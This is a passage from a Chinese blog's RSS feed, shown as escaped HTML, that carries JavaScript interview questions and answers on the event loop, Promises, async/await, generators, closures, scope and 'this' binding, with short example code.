│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │           check           │  setImmediate
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │      close callbacks      │  close 事件
│  └───────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Node.js 中的执行顺序
setImmediate(() =&amp;gt; console.log(&apos;setImmediate&apos;));
setTimeout(() =&amp;gt; console.log(&apos;setTimeout&apos;), 0);

// 不确定顺序（取决于进入 Event Loop 的时间）

// 在 I/O 回调中，setImmediate 总是先执行
const fs = require(&apos;fs&apos;);
fs.readFile(__filename, () =&amp;gt; {
  setTimeout(() =&amp;gt; console.log(&apos;setTimeout&apos;), 0);
  setImmediate(() =&amp;gt; console.log(&apos;setImmediate&apos;));
});
// 输出：setImmediate -&amp;gt; setTimeout
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Promise&lt;/h2&gt;
&lt;h3&gt;Q5: Promise 有哪几种状态？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;状态&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pending&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;进行中，初始状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fulfilled&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;已成功&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rejected&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;已失败&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 状态一旦改变就不可逆
const p = new Promise((resolve, reject) =&amp;gt; {
  resolve(&apos;success&apos;);  // pending -&amp;gt; fulfilled
  reject(&apos;error&apos;);     // 无效，状态已确定
});

p.then(v =&amp;gt; console.log(v)); // &apos;success&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q6: Promise 的常用方法？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. then/catch/finally
promise
  .then(value =&amp;gt; { /* 成功 */ })
  .catch(error =&amp;gt; { /* 失败 */ })
  .finally(() =&amp;gt; { /* 总是执行 */ });

// 2. 静态方法
Promise.resolve(value);      // 返回成功的 Promise
Promise.reject(error);       // 返回失败的 Promise

// 3. 并发处理
Promise.all([p1, p2, p3])
  .then(results =&amp;gt; {})       // 全部成功才成功
  .catch(err =&amp;gt; {});         // 任一失败就失败

Promise.allSettled([p1, p2]) // ES2020
  .then(results =&amp;gt; {
    // [{status: &apos;fulfilled&apos;, value}, {status: &apos;rejected&apos;, reason}]
  });

Promise.race([p1, p2])       // 第一个完成的结果
  .then(result =&amp;gt; {});

Promise.any([p1, p2])        // ES2021，第一个成功的结果
  .then(value =&amp;gt; {});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: 如何实现 Promise.all？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function promiseAll(promises) {
  return new Promise((resolve, reject) =&amp;gt; {
    const results = [];
    let count = 0;
    const len = promises.length;
    
    if (len === 0) {
      resolve([]);
      return;
    }
    
    promises.forEach((promise, index) =&amp;gt; {
      Promise.resolve(promise).then(value =&amp;gt; {
        results[index] = value;
        count++;
        if (count === len) {
          resolve(results);
        }
      }).catch(reject);
    });
  });
}

// 测试
promiseAll([
  Promise.resolve(1),
  Promise.resolve(2),
  3 // 非 Promise 也可以
]).then(console.log); // [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q8: Promise 链式调用的原理？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// then 返回新的 Promise
promise
  .then(value =&amp;gt; {
    return value * 2;        // 返回普通值，下一个 then 收到 2
  })
  .then(value =&amp;gt; {
    return Promise.resolve(value * 2); // 返回 Promise
  })
  .then(value =&amp;gt; {
    console.log(value);      // 4
    throw new Error(&apos;error&apos;); // 抛出错误
  })
  .catch(err =&amp;gt; {
    console.log(&apos;caught:&apos;, err.message);
    return &apos;recovered&apos;;      // 恢复，下一个 then 收到
  })
  .then(value =&amp;gt; {
    console.log(value);      // &apos;recovered&apos;
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;async/await&lt;/h2&gt;
&lt;h3&gt;Q9: async/await 的原理？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;async/await&lt;/code&gt; 是 Generator + Promise 的语法糖。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// async 函数总是返回 Promise
async function fn() {
  return 1;
}
fn().then(v =&amp;gt; console.log(v)); // 1

// await 暂停执行，等待 Promise 完成
async function fetchData() {
  const res = await fetch(url); // 暂停，等待 Promise
  const data = await res.json();
  return data;
}

// 等价于
function fetchData() {
  return fetch(url)
    .then(res =&amp;gt; res.json())
    .then(data =&amp;gt; data);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: async/await 错误处理？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 方式1：try/catch
async function fn() {
  try {
    const result = await somePromise();
    return result;
  } catch (error) {
    console.error(&apos;Error:&apos;, error);
    // 可以选择重新抛出或返回默认值
    throw error;
  } finally {
    // 清理工作
  }
}

// 方式2：.catch()
async function fn() {
  const result = await somePromise().catch(err =&amp;gt; {
    console.error(err);
    return null; // 返回默认值
  });
  
  if (!result) return; // 处理错误情况
}

// 方式3：统一处理
const [err, data] = await to(somePromise());
function to(promise) {
  return promise
    .then(data =&amp;gt; [null, data])
    .catch(err =&amp;gt; [err, null]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q11: 串行 vs 并行执行 ⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 串行执行（慢）
async function serial() {
  const a = await fetchA(); // 等待 A 完成
  const b = await fetchB(); // 再等待 B
  return [a, b];
}
// 总时间 = A时间 + B时间

// ✅ 并行执行（快）
async function parallel() {
  const [a, b] = await Promise.all([
    fetchA(),
    fetchB()
  ]);
  return [a, b];
}
// 总时间 = max(A时间, B时间)

// ✅ 并行 + 错误隔离
async function parallelSafe() {
  const [a, b] = await Promise.allSettled([
    fetchA(),
    fetchB()
  ]);
  
  const resultA = a.status === &apos;fulfilled&apos; ? a.value : null;
  const resultB = b.status === &apos;fulfilled&apos; ? b.value : null;
  
  return [resultA, resultB];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Generator&lt;/h2&gt;
&lt;h3&gt;Q12: 什么是 Generator？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Generator 是可以暂停和恢复执行的函数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 定义
function* generator() {
  console.log(&apos;start&apos;);
  yield 1;
  console.log(&apos;resume 1&apos;);
  yield 2;
  console.log(&apos;resume 2&apos;);
  return 3;
}

// 使用
const gen = generator();
gen.next(); // { value: 1, done: false }
gen.next(); // { value: 2, done: false }
gen.next(); // { value: 3, done: true }

// 应用场景：惰性求值
function* idMaker() {
  let index = 0;
  while (true) {
    yield index++;
  }
}
const ids = idMaker();
ids.next().value; // 0
ids.next().value; // 1
// 无限序列，按需生成

// 应用场景：异步流程控制（async/await 之前）
function run(gen) {
  const it = gen();
  
  function step(result) {
    if (result.done) return Promise.resolve(result.value);
    
    return Promise.resolve(result.value)
      .then(value =&amp;gt; step(it.next(value)))
      .catch(err =&amp;gt; step(it.throw(err)));
  }
  
  return step(it.next());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战题&lt;/h2&gt;
&lt;h3&gt;Q13: 实现 sleep 函数 ⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Promise 版本
function sleep(ms) {
  return new Promise(resolve =&amp;gt; setTimeout(resolve, ms));
}

// 使用
async function fn() {
  console.log(&apos;start&apos;);
  await sleep(1000);
  console.log(&apos;after 1s&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q14: 实现并发控制器 ⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 限制同时执行的异步任务数量
function concurrentLimit(tasks, limit) {
  return new Promise((resolve, reject) =&amp;gt; {
    const results = [];
    const running = new Set();
    let index = 0;
    
    function run() {
      while (index &amp;lt; tasks.length &amp;amp;&amp;amp; running.size &amp;lt; limit) {
        const i = index++;
        const task = tasks[i];
        
        const promise = Promise.resolve(task())
          .then(result =&amp;gt; {
            running.delete(promise);
            results[i] = { status: &apos;fulfilled&apos;, value: result };
            run(); // 继续执行下一个
          })
          .catch(error =&amp;gt; {
            running.delete(promise);
            results[i] = { status: &apos;rejected&apos;, reason: error };
            run();
          });
        
        running.add(promise);
      }
      
      if (running.size === 0 &amp;amp;&amp;amp; index &amp;gt;= tasks.length) {
        resolve(results);
      }
    }
    
    run();
  });
}

// 使用
const tasks = [
  () =&amp;gt; fetch(&apos;/api/1&apos;),
  () =&amp;gt; fetch(&apos;/api/2&apos;),
  () =&amp;gt; fetch(&apos;/api/3&apos;),
  () =&amp;gt; fetch(&apos;/api/4&apos;),
  () =&amp;gt; fetch(&apos;/api/5&apos;),
];

concurrentLimit(tasks, 2).then(results =&amp;gt; {
  console.log(results);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q15: 实现防抖和节流 ⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 防抖：事件停止触发 n 秒后执行
function debounce(fn, delay) {
  let timer = null;
  
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() =&amp;gt; {
      fn.apply(this, args);
    }, delay);
  };
}

// 节流：每 n 秒最多执行一次
function throttle(fn, interval) {
  let lastTime = 0;
  
  return function(...args) {
    const now = Date.now();
    
    if (now - lastTime &amp;gt;= interval) {
      lastTime = now;
      fn.apply(this, args);
    }
  };
}

// 节流（定时器版）
function throttleTimer(fn, interval) {
  let timer = null;
  
  return function(...args) {
    if (timer) return;
    
    timer = setTimeout(() =&amp;gt; {
      fn.apply(this, args);
      timer = null;
    }, interval);
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Event Loop 执行顺序
// 同步代码 -&amp;gt; 微任务（全部）-&amp;gt; 宏任务（一个）-&amp;gt; 微任务 -&amp;gt; ...

// 微任务
Promise.then/catch/finally
MutationObserver
queueMicrotask()

// 宏任务
setTimeout / setInterval
setImmediate (Node)
I/O / UI 渲染

// async/await 本质
// async 函数返回 Promise
// await 暂停执行，让出主线程

// 并行 vs 串行
// 串行：await a; await b;
// 并行：await Promise.all([a, b]);
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;关键点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Event Loop&lt;/td&gt;
&lt;td&gt;协调单线程与异步的机制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;微任务&lt;/td&gt;
&lt;td&gt;Promise.then，优先级高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宏任务&lt;/td&gt;
&lt;td&gt;setTimeout，优先级低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;async/await&lt;/td&gt;
&lt;td&gt;Generator + Promise 语法糖&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Promise.all&lt;/td&gt;
&lt;td&gt;全部成功才成功&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Promise.race&lt;/td&gt;
&lt;td&gt;第一个完成的结果&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-04-vue/&quot;&gt;Vue 框架面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 Vue 响应式原理、虚拟 DOM、Diff 算法、生命周期、组件通信等核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>JavaScript 核心面试题（中高级）</title><link>http://117.72.32.87/blog/posts/interview-guide-02-javascript-core/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-02-javascript-core/</guid><description>覆盖原型链、闭包、this 指向、作用域、类型转换、ES6+ 新特性等 30+ 道高频面试题。</description><pubDate>Tue, 15 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 30+ 道 JavaScript 核心面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;数据类型&lt;/h2&gt;
&lt;h3&gt;Q1: JavaScript 有哪些数据类型？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;number&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt;, &lt;code&gt;3.14&lt;/code&gt;, &lt;code&gt;NaN&lt;/code&gt;, &lt;code&gt;Infinity&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;string&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;hello&apos;&lt;/code&gt;, &lt;code&gt;&quot;world&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;, &lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;symbol&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型 (ES6)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Symbol(&apos;id&apos;)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bigint&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基本类型 (ES2020)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;123n&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;object&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;引用类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{}&lt;/code&gt;, &lt;code&gt;[]&lt;/code&gt;, &lt;code&gt;function&lt;/code&gt;, &lt;code&gt;Date&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 类型检测
typeof 123           // &apos;number&apos;
typeof &apos;str&apos;         // &apos;string&apos;
typeof true          // &apos;boolean&apos;
typeof undefined     // &apos;undefined&apos;
typeof null          // &apos;object&apos; (历史 bug)
typeof Symbol()      // &apos;symbol&apos;
typeof []            // &apos;object&apos;
typeof function(){}  // &apos;function&apos;

// 准确检测
Object.prototype.toString.call(null)      // &apos;[object Null]&apos;
Object.prototype.toString.call([])        // &apos;[object Array]&apos;
Object.prototype.toString.call(new Date()) // &apos;[object Date]&apos;

Array.isArray([])        // true
instanceof               // 检测原型链
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: null 和 undefined 的区别？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;null&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;undefined&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;含义&lt;/td&gt;
&lt;td&gt;空值，表示&quot;没有对象&quot;&lt;/td&gt;
&lt;td&gt;未定义，表示&quot;缺少值&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;typeof&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;object&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;undefined&apos;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;转换数字&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NaN&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;使用场景&lt;/td&gt;
&lt;td&gt;主动赋值&lt;/td&gt;
&lt;td&gt;变量声明未赋值、函数无返回值&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;null == undefined    // true（宽松相等）
null === undefined   // false（严格相等）

Number(null)         // 0
Number(undefined)    // NaN

// 实际使用
let obj = null;       // 明确表示空对象
let value;            // undefined，未赋值

function fn() {}
fn();                 // undefined，无返回值
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 深拷贝和浅拷贝的区别？如何实现深拷贝？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 浅拷贝：只复制第一层，引用类型仍共享
const obj = { a: 1, b: { c: 2 } };
const shallow = { ...obj };
// 或 Object.assign({}, obj)

shallow.b.c = 999;
console.log(obj.b.c); // 999，原对象也被修改

// 深拷贝：递归复制所有层级
const deep = JSON.parse(JSON.stringify(obj));
deep.b.c = 888;
console.log(obj.b.c); // 2，原对象不受影响
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;深拷贝实现：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 方法1：JSON（简单场景，有缺陷）
const copy1 = JSON.parse(JSON.stringify(obj));
// 缺陷：undefined/function/Symbol 会丢失，循环引用报错

// 方法2：递归实现
function deepClone(obj, map = new WeakMap()) {
  if (obj === null || typeof obj !== &apos;object&apos;) return obj;
  if (obj instanceof Date) return new Date(obj);
  if (obj instanceof RegExp) return new RegExp(obj);
  
  // 处理循环引用
  if (map.has(obj)) return map.get(obj);
  
  const clone = Array.isArray(obj) ? [] : {};
  map.set(obj, clone);
  
  for (let key in obj) {
    if (obj.hasOwnProperty(key)) {
      clone[key] = deepClone(obj[key], map);
    }
  }
  return clone;
}

// 方法3：structuredClone（现代浏览器）
const copy3 = structuredClone(obj);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;作用域与闭包&lt;/h2&gt;
&lt;h3&gt;Q4: 什么是作用域？作用域链是什么？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;作用域是变量和函数的可访问范围，分为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全局作用域&lt;/strong&gt;：在整个程序中可访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数作用域&lt;/strong&gt;：在函数内部可访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;块级作用域&lt;/strong&gt;（ES6）：&lt;code&gt;let/const&lt;/code&gt; 在 &lt;code&gt;{}&lt;/code&gt; 内&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 作用域链：查找变量时逐级向上
var a = &apos;global&apos;;

function outer() {
  var b = &apos;outer&apos;;
  
  function inner() {
    var c = &apos;inner&apos;;
    console.log(a); // &apos;global&apos;，沿作用域链找到全局
    console.log(b); // &apos;outer&apos;
    console.log(c); // &apos;inner&apos;
  }
  
  inner();
}

// 块级作用域
if (true) {
  let x = 1;
  var y = 2;
}
console.log(x); // ReferenceError
console.log(y); // 2（var 没有块级作用域）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: 什么是闭包？应用场景？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;闭包是指函数能够访问其词法作用域中的变量，即使该函数在其词法作用域之外执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 闭包示例
function counter() {
  let count = 0; // 被闭包引用，不会被垃圾回收
  
  return {
    increment: () =&amp;gt; ++count,
    decrement: () =&amp;gt; --count,
    getCount: () =&amp;gt; count
  };
}

const c = counter();
c.increment(); // 1
c.increment(); // 2
c.getCount();  // 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;应用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 数据私有化
function createWallet(initial) {
  let balance = initial;
  
  return {
    deposit(amount) { balance += amount; },
    withdraw(amount) { balance -= amount; },
    getBalance() { return balance; }
  };
}

// 2. 函数柯里化
function multiply(a) {
  return function(b) {
    return a * b;
  };
}
const double = multiply(2);
double(5); // 10

// 3. 防抖节流
function debounce(fn, delay) {
  let timer = null; // 闭包保存定时器
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() =&amp;gt; fn.apply(this, args), delay);
  };
}

// 4. 模块化（IIFE）
const module = (function() {
  let privateVar = &apos;private&apos;;
  
  return {
    getPrivate: () =&amp;gt; privateVar
  };
})();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;闭包的问题：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内存泄漏：闭包引用的变量不会被回收&lt;/li&gt;
&lt;li&gt;解决：及时释放不需要的引用 &lt;code&gt;fn = null&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q6: var、let、const 的区别？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;&lt;code&gt;var&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;let&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;const&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;作用域&lt;/td&gt;
&lt;td&gt;函数作用域&lt;/td&gt;
&lt;td&gt;块级作用域&lt;/td&gt;
&lt;td&gt;块级作用域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;变量提升&lt;/td&gt;
&lt;td&gt;有（值为 undefined）&lt;/td&gt;
&lt;td&gt;有（暂时性死区）&lt;/td&gt;
&lt;td&gt;有（暂时性死区）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重复声明&lt;/td&gt;
&lt;td&gt;允许&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重新赋值&lt;/td&gt;
&lt;td&gt;允许&lt;/td&gt;
&lt;td&gt;允许&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;全局声明&lt;/td&gt;
&lt;td&gt;挂载到 window&lt;/td&gt;
&lt;td&gt;不挂载&lt;/td&gt;
&lt;td&gt;不挂载&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 变量提升
console.log(a); // undefined（var 提升）
var a = 1;

console.log(b); // ReferenceError（暂时性死区）
let b = 2;

// 经典面试题
for (var i = 0; i &amp;lt; 3; i++) {
  setTimeout(() =&amp;gt; console.log(i), 100);
}
// 输出：3 3 3

for (let j = 0; j &amp;lt; 3; j++) {
  setTimeout(() =&amp;gt; console.log(j), 100);
}
// 输出：0 1 2（每次循环创建新的 j）

// const 注意
const obj = { a: 1 };
obj.a = 2;        // ✅ 允许，修改属性
obj = { b: 1 };   // ❌ 报错，不能重新赋值
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;this 指向&lt;/h2&gt;
&lt;h3&gt;Q7: this 的指向规则？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;调用方式&lt;/th&gt;
&lt;th&gt;this 指向&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;obj.fn()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;obj&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fn()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;undefined&lt;/code&gt;（严格模式）/ &lt;code&gt;window&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new Fn()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;新创建的实例&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fn.call(obj)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;obj&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fn.apply(obj)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;obj&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fn.bind(obj)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;obj&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;箭头函数&lt;/td&gt;
&lt;td&gt;继承外层 this&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 1. 对象方法调用
const obj = {
  name: &apos;obj&apos;,
  fn() { console.log(this.name); }
};
obj.fn(); // &apos;obj&apos;

// 2. 普通函数调用
function fn() { console.log(this); }
fn(); // window（非严格模式）

// 3. 构造函数
function Person(name) {
  this.name = name;
}
const p = new Person(&apos;Tom&apos;);
console.log(p.name); // &apos;Tom&apos;

// 4. call/apply/bind
const ctx = { name: &apos;ctx&apos; };
fn.call(ctx);    // this = ctx
fn.apply(ctx);   // this = ctx
const bound = fn.bind(ctx);
bound();         // this = ctx

// 5. 箭头函数
const arrow = {
  name: &apos;arrow&apos;,
  fn: () =&amp;gt; console.log(this.name), // 外层 this（window）
  fn2() {
    return () =&amp;gt; console.log(this.name); // 外层 this（arrow）
  }
};
arrow.fn();      // undefined
arrow.fn2()();   // &apos;arrow&apos;

// 经典面试题
const person = {
  name: &apos;person&apos;,
  sayName: function() {
    console.log(this.name);
  }
};

const fn1 = person.sayName;
fn1(); // undefined（this 丢失）

const fn2 = person.sayName.bind(person);
fn2(); // &apos;person&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;原型与继承&lt;/h2&gt;
&lt;h3&gt;Q8: 什么是原型链？⭐⭐ 🔥&lt;/h3&gt;
